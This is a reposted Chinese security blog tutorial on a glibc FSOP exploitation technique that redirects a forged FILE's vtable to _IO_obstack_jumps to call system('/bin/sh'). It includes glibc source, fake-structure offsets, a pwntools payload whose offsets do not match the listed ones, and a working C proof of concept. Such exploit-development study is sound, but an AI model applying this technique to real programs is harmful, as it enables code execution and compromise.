一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析

admin 2024年2月15日15:47:59评论5 views字数 10882阅读36分16秒阅读模式

前言

众所周知,由于移除了__malloc_hook/__free_hook/__realloc_hook等等一众hook全局变量,高版本glibc想要劫持程序流,离不开攻击_IO_FILE。而笔者近期在国外大佬博客中发现一条新的可利用的函数调用链,与house of apple2一样,只需要一次地址任意写,而且适用于目前所有的glibc版本,故在此结合源码和自己的理解总结分享,也感谢roderick师傅和whiter师傅的指导与支持。如果有哪里不对恳请师傅们斧正!

简介

此利用与house of applehouse of cathouse of emma等利用一样,利用了修改虚表指针的方法。主要思路就是修改虚表指针为_IO_obstack_jumps实现攻击。

利用条件

1.任意写一个可控地址或劫持 _IO_list_all。(如large bin attacktcache stashing unlink attackfastbin reverse into tcache)

2.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。

3.能够泄露堆地址和libc基址。

利用原理

前置知识

源码如下:

struct _IO_FILE{
int_flags;
#define _IO_file_flags _flags

char*_IO_read_ptr;/* Current read pointer */
char*_IO_read_end;/* End of get area. */
char*_IO_read_base;/* Start of putback+get area. */
char*_IO_write_base;/* Start of put area. */
char*_IO_write_ptr;/* Current put pointer. */
char*_IO_write_end;/* End of put area. */
char*_IO_buf_base;/* Start of reserve area. */
char*_IO_buf_end;/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char*_IO_save_base;/* Pointer to start of non-current get area. */
char*_IO_backup_base;/* Pointer to first valid character of backup area */
char*_IO_save_end;/* Pointer to end of non-current get area. */

struct _IO_marker*_markers;

struct _IO_FILE*_chain;

int_fileno;
#if 0
    int _blksize;
#else
int_flags2;
#endif
_IO_off_t_old_offset;/* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN   /* temporary */
unsignedshort_cur_column;
signedchar_vtable_offset;
char_shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */
_IO_lock_t*_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

该结构体应该不难理解,不过多赘述。

struct _IO_jump_t
{
JUMP_FIELD(size_t,__dummy);
JUMP_FIELD(size_t,__dummy2);
JUMP_FIELD(_IO_finish_t,__finish);
JUMP_FIELD(_IO_overflow_t,__overflow);
JUMP_FIELD(_IO_underflow_t,__underflow);
JUMP_FIELD(_IO_underflow_t,__uflow);
JUMP_FIELD(_IO_pbackfail_t,__pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t,__xsputn);
JUMP_FIELD(_IO_xsgetn_t,__xsgetn);
JUMP_FIELD(_IO_seekoff_t,__seekoff);
JUMP_FIELD(_IO_seekpos_t,__seekpos);
JUMP_FIELD(_IO_setbuf_t,__setbuf);
JUMP_FIELD(_IO_sync_t,__sync);
JUMP_FIELD(_IO_doallocate_t,__doallocate);
JUMP_FIELD(_IO_read_t,__read);
JUMP_FIELD(_IO_write_t,__write);
JUMP_FIELD(_IO_seek_t,__seek);
JUMP_FIELD(_IO_close_t,__close);
JUMP_FIELD(_IO_stat_t,__stat);
JUMP_FIELD(_IO_showmanyc_t,__showmanyc);
JUMP_FIELD(_IO_imbue_t,__imbue);
#if 0
    get_column;
    set_column;
#endif
};

当我们对一个文件对象fp进行操作时,往往会使用到_IO_jump_t结构体内某一函数。

源码如下:

struct _IO_FILE_plus
{
_IO_FILEfile;
conststruct _IO_jump_t*vtable;
};

也就是在_IO_FILE追加了个指向_IO_jump_t结构体的指针。

源码如下:

struct obstack/* control current object in current chunk */
{
longchunk_size;/* preferred size to allocate chunks in */
struct _obstack_chunk*chunk;/* address of current struct obstack_chunk */
char*object_base;/* address of object we are building */
char*next_free;/* where to add next char to current object */
char*chunk_limit;/* address of char after current chunk */
union
  {
PTR_INT_TYPEtempint;
void*tempptr;
}temp;/* Temporary for some macros.  */
intalignment_mask;/* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
struct _obstack_chunk*(*chunkfun)(void*,long);
void(*freefun)(void*,struct _obstack_chunk*);
void*extra_arg;/* first arg for chunk alloc/dealloc funcs */
unsigneduse_extra_arg :1;/* chunk alloc/dealloc funcs take extra arg */
unsignedmaybe_empty_object :1;/* There is a possibility that the current
                      chunk contains a zero-length object.  This
                      prevents freeing the chunk if we allocate
                      a bigger chunk to replace it. */
unsignedalloc_failed :1;/* No longer used, as we now call the failed
                     handler on error, but retained for binary
                     compatibility.  */
};

在此,我们不需要过多关注,只需要理解下述函数调用链的时候,知道有这么个结构体即可。

源码如下:

struct _IO_obstack_file
{
struct _IO_FILE_plusfile;
struct obstack*obstack;
};

简单来说,就是给_IO_FILE_plus追加了一个指向obstack结构体的指针。

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plusvtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

简单来说,如果 vtable 地址是非法的,那么会引发 abort。

原理分析

由上可知,vtable必须合法,我们观察以下vtable

/* the jump table.  */
conststruct _IO_jump_t_IO_obstack_jumpslibio_vtableattribute_hidden=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish,NULL),
JUMP_INIT(overflow,_IO_obstack_overflow),
JUMP_INIT(underflow,NULL),
JUMP_INIT(uflow,NULL),
JUMP_INIT(pbackfail,NULL),
JUMP_INIT(xsputn,_IO_obstack_xsputn),
JUMP_INIT(xsgetn,NULL),
JUMP_INIT(seekoff,NULL),
JUMP_INIT(seekpos,NULL),
JUMP_INIT(setbuf,NULL),
JUMP_INIT(sync,NULL),
JUMP_INIT(doallocate,NULL),
JUMP_INIT(read,NULL),
JUMP_INIT(write,NULL),
JUMP_INIT(seek,NULL),
JUMP_INIT(close,NULL),
JUMP_INIT(stat,NULL),
JUMP_INIT(showmanyc,NULL),
JUMP_INIT(imbue,NULL)
};

可知,该vtable内只存在两个函数,分别为_IO_obstack_overflow_IO_obstack_xsputn

接下来我们对这两个函数进行分析

staticint
_IO_obstack_overflow(_IO_FILE*fp,intc)
{
struct obstack*obstack=((struct _IO_obstack_file*)fp)->obstack;
intsize;
/* Make room for another character.  This might as well allocate a
     new chunk a memory and moves the old contents over.  */
assert(c!=EOF);//关注这里
obstack_1grow(obstack,c);
/* Setup the buffer pointers again.  */
fp->_IO_write_base=obstack_base(obstack);
fp->_IO_write_ptr=obstack_next_free(obstack);
size=obstack_room(obstack);
fp->_IO_write_end=fp->_IO_write_ptr+size;
/* Now allocate the rest of the current chunk.  */
obstack_blank_fast(obstack,size);
returnc;
}

可以看到,第二个参数要为0,才能正常执行该函数。而_IO_flush_all_lockp进行调用vtable时,rsi往往是0xffffffff,如下图:

一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析

故该函数无法正常执行,不考虑该函数。

static_IO_size_t
_IO_obstack_xsputn(_IO_FILE*fp,constvoid*data,_IO_size_tn)
{
struct obstack*obstack=((struct _IO_obstack_file*)fp)->obstack;

if(fp->_IO_write_ptr+n>fp->_IO_write_end)
{
intsize;
/* We need some more memory.  First shrink the buffer to the
     space we really currently need.  */
obstack_blank_fast(obstack,fp->_IO_write_ptr-fp->_IO_write_end);

/* Now grow for N bytes, and put the data there.  */
obstack_grow(obstack,data,n);

[...]
}

观察该函数,首先获得_IO_obstack_file结构体中的obstack结构体指针作为后面函数运行的参数。然后要绕过fp->_IO_write_ptr + n > fp->_IO_write_end,执行obstack_blank_fast(obstack, fp->_IO_write_ptr - fp->_IO_write_end);,而obstack_blank_fast是个宏定义源码如下:

#define obstack_blank_fast(h, n) ((h)->next_free += (n))

对此不过多关注。然后执行obstack_grow函数,obstack_grow函数源码如下:

#define obstack_grow(OBSTACK, where, length)                      \
  __extension__                                   \
    ({ struct obstack *__o = (OBSTACK);                       \
       int __len = (length);                              \
       if (_o->next_free + __len > __o->chunk_limit)                  \
     _obstack_newchunk (__o, __len);                      \
       memcpy (__o->next_free, where, __len);                     \
       __o->next_free += __len;                           \
       (void) 0; })

可以看到,当_o->next_free + __len > __o->chunk_limit时,调用_obstack_newchunk_obstack_newchunk函数源码如下:

void
_obstack_newchunk(struct obstack*h,intlength)
{
struct _obstack_chunk*old_chunk=h->chunk;
struct _obstack_chunk*new_chunk;
longnew_size;
longobj_size=h->next_free-h->object_base;
longi;
longalready;
char*object_base;

/* Compute size for new chunk.  */
new_size=(obj_size+length)+(obj_size>>3)+h->alignment_mask+100;
if(new_size<h->chunk_size)
new_size=h->chunk_size;

/* Allocate and initialize the new chunk.  */
new_chunk=CALL_CHUNKFUN(h,new_size);
[...]
}

对此,我们关注CALL_CHUNKFUN这个宏定义,CALL_CHUNKFUN源码如下:

# define CALL_CHUNKFUN(h, size) \
  (((h)->use_extra_arg)                               \
   ? (*(h)->chunkfun)((h)->extra_arg, (size))                     \
   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

可以看到当((h)->use_extra_arg不为0时,调用(*(h)->chunkfun)((h)->extra_arg, (size)),而这也就是我们要利用的点。

函数调用链

从调用_IO_obstack_xsputn开始分析,假设满足上述所有需要绕过的条件,得以下调用链:

  • _IO_obstack_xsputn
  • obstack_grow
    • _obstack_newchunk
    • CALL_CHUNKFUN(一个宏定义)
      • (*(h)->chunkfun)((h)->extra_arg, (size))

利用方法

本文介绍amd64下通过FSOP触发这一个利用思路。

我们知道FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

我们调试可以知道_IO_overflow位于vtable指针所指向地址+0x18处,也就是说当FSOP发生的时候会调用_IO_FILE_plus.vtable 中的_IO_overflow。即调用vtable指针所指向地址 + 0x18处的数据。

一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析

那么只要我们伪造一个_IO_FILE结构体,将它的vtable替换为&_IO_obstack_jumps+0x20,此时vtable指针所指地址+0x18处为_IO_obstack_xsputn。假设满足所有需要绕过的条件,执行_IO_flush_all_lockp 时,会执行_IO_obstack_xsputn,假设通过exit进行FSOP,得到以下调用链。

exit
 __run_exit_handlers
   fcloseall
     _IO_cleanup
    _IO_flush_all_lockp
            _IO_obstack_xsputn
            obstack_grow
                _obstack_newchunk
                        CALL_CHUNKFUN(一个宏定义)
                        (*(h)->chunkfun)((h)->extra_arg, (size))

结合原理分析的内容可知,当满足以下条件的时候可以实现攻击:

  • 利用largebin attack伪造_IO_FILE,记完成伪造的chunkA(或者别的手法)

  • chunk A内偏移为0xd8处设为_IO_obstack_jumps+0x20

  • chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体

  • chunk A内偏移为0x18处设为1(next_free)

  • chunk A内偏移为0x20处设为0(chunk_limit

  • chunk A内偏移为0x48处设为&/bin/sh

  • chunk A内偏移为0x38处设为system函数的地址

  • chunk A内偏移为0x28处设为1(_IO_write_ptr)

  • chunk A内偏移为0x30处设为0 (_IO_write_end)

  • chunk A内偏移为0x50处设为1 (use_extra_arg)

可参考payload如下:

def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr

payload = flat(
    {
        0x8:1,
        0x10:0,
        0x38:address_for_rdi,
        0x28:address_for_call,
        0x18:1,
        0x20:0,
        0x40:1, 
        0xd0:heap_base + 0x250,
        0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
    },
    filler = '\x00'
)

利用该payload进行攻击结果展示如下:

一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析

POC

/*
 * @Author: 7resp4ss
 * @Date: 2022-11-23 18:09:39
 * @LastEditTime: 2022-11-23 17:26:04
 * @Description: 
 *gcc poc.c -g -o poc

 *GLIBC version are as follows:
    GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3.2) stable release version 2.34.
    Copyright (C) 2021 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.
    There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
    PARTICULAR PURPOSE.
    Compiled by GNU CC version 10.3.0.
    libc ABIs: UNIQUE IFUNC ABSOLUTE
    For bug reporting instructions, please see:
    <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
*/


#include<stdio.h>
#include<stdlib.h>

#define writeend_offset 0x30
#define writeptr_offset 0x28
#define vtable_offset 0xd8
#define next_free_offset 0x18 
#define chunk_limit_offset 0x20
#define caller_offset 0x38
#define caller_arg_offset 0x48
#define use_arg_offset 0x50
#define fake_obstack_offset 0xe0

voidbackdoor(char*cmd)
{
puts("OHHH!HACKER!!!");
puts("HERE IS U SHELL!");
system(cmd);
}

char*fake_arg="/bin/sh\x00";

intmain(void)
{
puts("this is a poc");
size_tlibc_base=&puts-0x80ef0;
size_t_IO_list_all_prt=libc_base+0x21a660;
size_t_IO_obstack_jumps_prt=libc_base+0x2163c0;
void*ptr;
longlong*list_all_ptr;
ptr=malloc(0x200);
//bypass
*(longlong*)((longlong)ptr+writeptr_offset)=0x1;
*(longlong*)((longlong)ptr+writeend_offset)=0x0;
*(longlong*)((longlong)ptr+next_free_offset)=0x1;
*(longlong*)((longlong)ptr+chunk_limit_offset)=0x0;
*(longlong*)((longlong)ptr+use_arg_offset)=0x1;
*(longlong*)((longlong)ptr+fake_obstack_offset)=(longlong*)ptr;
//vtable _IO_obstack_jumps_prt
*(longlong*)((longlong)ptr+vtable_offset)=(longlong*)(_IO_obstack_jumps_prt+0x20);
//set the function to call and its parameters
*(longlong*)((longlong)ptr+caller_offset)=(longlong*)(&backdoor);
*(longlong*)((longlong)ptr+caller_arg_offset)=(longlong*)(fake_arg);
//_IO_list_all _chain 2 fake _IO_FILE_plus
list_all_ptr=(longlong*)(_IO_list_all_prt+0x68+0x20);
list_all_ptr[0]=ptr;
exit(0);
}

POC运行结果如下:

一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析

总结

该攻击手法的利用非常简单,而且可以稳定控制需要调用的函数和rdi,需要bypass的条件也很容易满足。若遇到需要栈迁移的题目,只需要利用好类似setcontext+53gadget即可。

参考链接

FROM:tttang . com

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日15:47:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一条新的glibc IO_FILE利用链:_IO_obstack_jumps利用分析http://cn-sec.com/archives/2187673.html

发表评论

匿名网友 填写信息